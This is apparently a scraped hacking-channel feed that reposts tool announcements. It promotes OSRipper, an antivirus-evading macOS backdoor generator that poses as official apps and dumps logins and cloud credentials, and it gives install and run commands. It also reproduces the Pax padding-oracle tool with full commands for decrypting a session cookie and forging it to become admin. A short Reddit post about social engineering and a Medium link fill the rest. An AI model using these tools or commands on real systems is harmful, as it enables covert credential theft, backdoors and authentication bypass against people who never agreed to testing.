Hacking Articles Tips Tricks Videos Tutorials

Kali Linux Tutorials
OSRipper : AV Evading OSX Backdoor And Crypter Framework

OSripper is a fully undetectable Backdoor generator and Crypter which specialises in OSX M1 malware. It will also work on windows but for now there is no support for it and it IS NOT FUD for windows (yet at least) and for now i will not focus on windows.

You can also PM me on discord for support or to ask for new features SubGlitch1#2983

Features

* FUD (for macOS)
* Cloacks as an official app (Microsoft, ExpressVPN etc)
* Dumps; Sys info, Browser History, Logins, ssh/aws/azure/gcloud creds, clipboard content, local users etc. (more on Cedric Owens swiftbelt)
* Encrypted communications
* Rootkit-like Behaviour
* Every Backdoor generated is entirely unique
* ngrok support

Description

Please check the wiki for information on how OSRipper functions (which changes extremely frequently)

Getting Started

Dependencies

You need python. If you do not wish to download python you can download a compiled release. The python dependencies are specified in the requirements.txt file.

Since Version 1.4 you will need metasploit installed and on path so that it can handle the meterpreter listeners.

Installing

Linux

apt install git python -y
git clone https://github.com/SubGlitch1/OSRipper.git
cd OSRipper
sudo python3 setup.py

Windows

git clone https://github.com/SubGlitch1/OSRipper.git
cd OSRipper
sudo python3 setup.py

or download the latest release from https://github.com/SubGlitch1/OSRipper/releases/tag/v0.2.3

Executing program

Only this

sudo python3 main.py
Download

Kali Linux Tutorials

OSRipper : AV Evading OSX Backdoor And Crypter Framework

OSripper is a fully undetectable Backdoor generator and Crypter which specialises in OSX M1 malware. It will also work on windows.

8 views09:47

Hacking Articles Tips Tricks Videos Tutorials

hacking: security in practice
In todays world I dont see how social engineering even works?!?

It seems like most people are too smart for phsishing and other form of social engineering. Is anyone still buying into scareware? Unless they are elderly and clueless. I mean who just clicks on links or uses unknown things nowadays. Especially with 2 step authentication. Spear phishing is the only possibly I am thinking. Thoughts?

I have no tech background. I am looking into this and most of my friends of all ages(excuduling people 70 and over who truly dont understand) know not to click on links and stuff like this.

submitted by /u/UnableBug8111
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

In todays world I dont see how social engineering even works?!?

It seems like most people are too smart for phsisbing and other form of social engineering. Is anyone still buying into scareware? Unless they are...

9 viewsedited 11:15

Hacking Articles Tips Tricks Videos Tutorials

Pax - CLI Tool For PKCS7 Padding Oracle Attacks
http://www.kitploit.com/2022/09/pax-cli-tool-for-pkcs7-padding-oracle.html

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Kitploit – Maintenance in Progress

Kitploit is temporarily under maintenance. We’ll be back shortly with improvements.

8 viewsedited 11:35

Hacking Articles Tips Tricks Videos Tutorials

8 views11:35

Hacking Articles Tips Tricks Videos Tutorials

Exploit padding oracles for fun and profit!Pax (PAdding oracle (https://www.kitploit.com/search/label/Oracle) eXploiter) is a tool for exploiting (https://www.kitploit.com/search/label/Exploiting) padding oracles in order to:Obtain plaintext for a given piece of CBC (https://www.kitploit.com/search/label/CBC) encrypted data.Obtain encrypted bytes for a given piece of plaintext, using the unknown encryption (https://www.kitploit.com/search/label/Encryption) algorithm used by the oracle.This can be used to disclose encrypted session information, and often to bypass authentication, elevate privileges and to execute code remotely by encrypting custom plaintext and writing it back to the server.As always, this tool should only be used on systems you own and/or have permission to probe!
InstallationDownload from releases (https://github.com/liamg/pax/releases), or install with Go:go get -u github.com/liamg/pax/cmd/paxExample UsageIf you find a suspected oracle, where the encrypted data is stored inside a cookie (https://www.kitploit.com/search/label/Cookie) named SESS, you can use the following:pax decrypt --url https://target.site/profile.php --sample Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg%3D%3D --block-size 16 --cookies "SESS=Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg%3D%3D"This will hopefully give you some plaintext, perhaps something like: {"user_id": 456, "is_admin": false}It looks like you could elevate your privileges here!You can attempt to do so by first generating your own encrypted data that the oracle will decrypt back to some sneaky plaintext:pax encrypt --url https://target.site/profile.php --sample Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg%3D%3D --block-size 16 --cookies "SESS=Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg%3D%3D" --plain-text '{"user_id": 456, "is_admin": true}'This will spit out another base64 encoded set of encrypted data, perhaps something like:dGhpcyBpcyBqdXN0IGFuIGV4YW1wbGU=
Now you can open your browser and set the value of the SESS cookie to the above value. Loading the original oracle page, you should now see you are elevated to admin level.How does this work?The following are great guides on how this attack works:https://robertheaton.com/2013/07/29/padding-oracle-attack/https://blog.skullsecurity.org/2013/padding-oracle-attacks-in-depth

Download Pax (https://github.com/liamg/pax)

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest & Hacking Tools

Leading source of security tools, hacking tools, cybersecurity and network security. Learn about new tools and updates in one place.

10 viewsedited 11:35

Hacking Articles Tips Tricks Videos Tutorials

10 views12:19

Hacking Articles Tips Tricks Videos Tutorials

Photo

KitPloit - PenTest Tools!
Pax - CLI Tool For PKCS7 Padding Oracle Attacks

https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrFn8cC3dRHnSjamghpU966o0y_1TMMLlitPNJ0UZ_CvJaUm9MvLzC2Gk2W4XTVjvRxrjrcAGJuoiP7cHoxzinGL5wX6EWA9YLExqPCyM-temNtzwlyvEKueBNsJrsCQTC-HCOkxVW4GfHJ3e5Sze7mWmh7EdvSQtUFeLYuJqFrRaiTRPA3R5lj4XivQ/w640-h426/pax.png
Exploit padding oracles for fun and profit!

Pax (PAdding oracle eXploiter) is a tool for exploiting padding oracles in order to:

1. Obtain plaintext for a given piece of CBC encrypted data.
2. Obtain encrypted bytes for a given piece of plaintext, using the unknown encryption algorithm used by the oracle.

This can be used to disclose encrypted session information, and often to bypass authentication, elevate privileges and to execute code remotely by encrypting custom plaintext and writing it back to the server.

As always, this tool should only be used on systems you own and/or have permission to probe!
Installation

Download from releases, or install with Go:

go get -u github.com/liamg/pax/cmd/pax

Example Usage

If you find a suspected oracle, where the encrypted data is stored inside a cookie named SESS, you can use the following:

pax decrypt --url https://target.site/profile.php --sample Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg%3D%3D --block-size 16 --cookies "SESS=Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg%3D%3D"

This will hopefully give you some plaintext, perhaps something like:

{"user_id": 456, "is_admin": false}

It looks like you could elevate your privileges here!

You can attempt to do so by first generating your own encrypted data that the oracle will decrypt back to some sneaky plaintext:

pax encrypt --url https://target.site/profile.php --sample Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg%3D%3D --block-size 16 --cookies "SESS=Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg%3D%3D" --plain-text '{"user_id": 456, "is_admin": true}'

This will spit out another base64 encoded set of encrypted data, perhaps something like:

dGhpcyBpcyBqdXN0IGFuIGV4YW1wbGU=

Now you can open your browser and set the value of the SESScookie to the above value. Loading the original oracle page, you should now see you are elevated to admin level.

How does this work?

The following are great guides on how this attack works:

* https://robertheaton.com/2013/07/29/padding-oracle-attack/
* https://blog.skullsecurity.org/2013/padding-oracle-attacks-in-depth
Download Pax

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Kitploit – Maintenance in Progress

Kitploit is temporarily under maintenance. We’ll be back shortly with improvements.

11 viewsedited 12:19

Hacking Articles Tips Tricks Videos Tutorials

8 views13:32

Hacking Articles Tips Tricks Videos Tutorials

8 views13:32

Hacking Articles Tips Tricks Videos Tutorials

Photo

Hacking on Medium
10 Myths About Hacking

https://cdn-images-1.medium.com/max/1920/1*8OJm1AAS2RLwQLVsLFxBBw.jpeg
Fact vs Fiction: The Truth About Hackers

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Medium